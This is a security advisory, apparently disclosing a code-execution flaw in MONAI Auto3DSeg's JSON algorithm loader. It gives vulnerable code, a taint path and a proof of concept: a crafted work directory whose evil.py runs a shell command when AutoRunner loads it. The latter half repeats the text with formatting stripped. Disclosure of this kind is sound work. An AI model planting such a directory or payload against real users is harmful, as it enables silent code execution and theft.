Summary
An attacker who delivers a crafted Auto3DSeg work directory — a shareable
artifact such as a benchmark output, a pretrained-algo bundle, or a
collaboration folder — achieves arbitrary code execution as soon as the victim
loads it with AutoRunner or import_bundle_algo_history.
The algo_from_json() loader reads an untrusted algo_object.json, prepends an
attacker-controlled sibling directory to sys.path, and instantiates the JSON's
_target_ string through monai.bundle.ConfigParser. That import-and-call runs
the attacker's Python module.
This works under the default configuration, with no MONAI_ALLOW_PICKLE
environment variable set.
Details
Root cause
algo_from_json() treats two fields of the untrusted JSON as trusted:
_target_ — a fully-qualified Python name that gets imported and called.
template_path — a directory added to sys.path.
It also auto-discovers a sibling algorithm_templates directory next to the
JSON file and adds that to sys.path too. So a work directory that ships a
malicious algorithm_templates/evil.py and an algo_object.json with
"_target_": "evil.Backdoor" runs evil.py on load.
Vulnerable code
# monai/auto3dseg/utils.py (algo_from_json)
with open(filename, encoding="utf-8") as f:
data = json.load(f) # untrusted algo_object.json
file_template_path = data.pop("template_path", None) # :461 attacker-controlled
target = data.pop("_target_") # :466 attacker-controlled dotted name
fuzzy_path = os.path.join(file_dir, "..", "algorithm_templates") # :475
if os.path.isdir(fuzzy_path):
template_paths.append(os.path.abspath(fuzzy_path)) # :477 attacker dir added
for path in paths_to_try:
if path and path not in sys.path:
sys.path.insert(0, path) # :488 attacker dir on sys.path
algo_config = {"_target_": target}
parser = ConfigParser(algo_config) # :496
algo = parser.get_parsed_content() # :497 -> import + instantiate = RCE
# monai/utils/module.py (instantiate — the sink ConfigParser reaches)
component = locate(__path) if isinstance(__path, str) else __path # :230 pydoc.locate IMPORTS the module
...
return component(**kwargs) # :245 runs __init__
Contrast the gated sibling path:
# monai/auto3dseg/utils.py:368 (the .pkl branch — IS gated)
_require_pickle_allowed() # raises RuntimeError unless MONAI_ALLOW_PICKLE=1
Reachability (default config)
Code runs at AutoRunner construction time, before any dataset validation:
AutoRunner(work_dir)
-> __init__ :256 self.cache = self.read_cache()
-> read_cache :374 if cache["algo_gen"]: import_bundle_algo_history(work_dir, only_trained=False)
-> apps/auto3dseg/utils.py:56 algo_from_json(...)
-> RCE
A cache.yaml with algo_gen: true plus any loadable input.yaml is enough —
no dataset, no dataroot, no .run() call required.
Taint path
algo_object.json {"_target_": "evil.Backdoor", "template_path": "None"}
algorithm_templates/evil.py (malicious module)
|
v AutoRunner(work_dir) or import_bundle_algo_history(work_dir)
utils.py:466 target = data.pop("_target_")
utils.py:475-488 sys.path.insert(0, <attacker algorithm_templates>)
|
v
utils.py:496-497 ConfigParser({"_target_": target}).get_parsed_content()
module.py:230,245 locate(target) -> imports evil.py ; component() -> runs __init__
=> attacker code executes in the victim process
PoC
Attacker work directory:
work_dir/
algorithm_templates/evil.py # payload
segresnet_0/algo_object.json # {"_target_": "evil.Backdoor", "_state_": {}, "template_path": "None"}
input.yaml # any loadable config
cache.yaml # "algo_gen: true"
segresnet_0/algo_object.json
{"_target_": "evil.Backdoor", "_state_": {}, "template_path": "None"}
algorithm_templates/evil.py
import subprocess
class Backdoor:
def __init__(self, *a, **k):
subprocess.check_output(["/bin/sh", "-c", "echo RCE_$(id -u)_$(whoami)"])
def load_state_dict(self, state): pass
def get_output_path(self): return "."
Victim action (either is sufficient):
from monai.apps.auto3dseg import AutoRunner
AutoRunner(work_dir="./work_dir") # construction alone triggers the payload
# or:
from monai.apps.auto3dseg.utils import import_bundle_algo_history
import_bundle_algo_history("./work_dir", only_trained=False)
Result — the payload's shell command runs; import_bundle_algo_history
returns normally with the malicious algo in the history list (silent).
Impact
Arbitrary code execution as the user running the Auto3DSeg workload — commonly a
shared GPU box, a cluster login node, or a researcher workstation.
- Confidentiality / Integrity / Availability: High — any readable secret can
be exfiltrated, files modified, persistence installed.
- Silent: the malicious algo loads into the returned history without error,
so nothing looks wrong.
Summary
An attacker who delivers a crafted Auto3DSeg work directory — a shareable
artifact such as a benchmark output, a pretrained-algo bundle, or a
collaboration folder — achieves arbitrary code execution as soon as the victim
loads it with
AutoRunnerorimport_bundle_algo_history.The
algo_from_json()loader reads an untrustedalgo_object.json, prepends anattacker-controlled sibling directory to
sys.path, and instantiates the JSON's_target_string throughmonai.bundle.ConfigParser. That import-and-call runsthe attacker's Python module.
This works under the default configuration, with no
MONAI_ALLOW_PICKLEenvironment variable set.
Details
Root cause
algo_from_json()treats two fields of the untrusted JSON as trusted:_target_— a fully-qualified Python name that gets imported and called.template_path— a directory added tosys.path.It also auto-discovers a sibling
algorithm_templatesdirectory next to theJSON file and adds that to
sys.pathtoo. So a work directory that ships amalicious
algorithm_templates/evil.pyand analgo_object.jsonwith"_target_": "evil.Backdoor"runsevil.pyon load.Vulnerable code
Contrast the gated sibling path:
Reachability (default config)
Code runs at
AutoRunnerconstruction time, before any dataset validation:A
cache.yamlwithalgo_gen: trueplus any loadableinput.yamlis enough —no dataset, no
dataroot, no.run()call required.Taint path
PoC
Attacker work directory:
segresnet_0/algo_object.json{"_target_": "evil.Backdoor", "_state_": {}, "template_path": "None"}algorithm_templates/evil.pyVictim action (either is sufficient):
Result — the payload's shell command runs;
import_bundle_algo_historyreturns normally with the malicious algo in the history list (silent).
Impact
Arbitrary code execution as the user running the Auto3DSeg workload — commonly a
shared GPU box, a cluster login node, or a researcher workstation.
be exfiltrated, files modified, persistence installed.
so nothing looks wrong.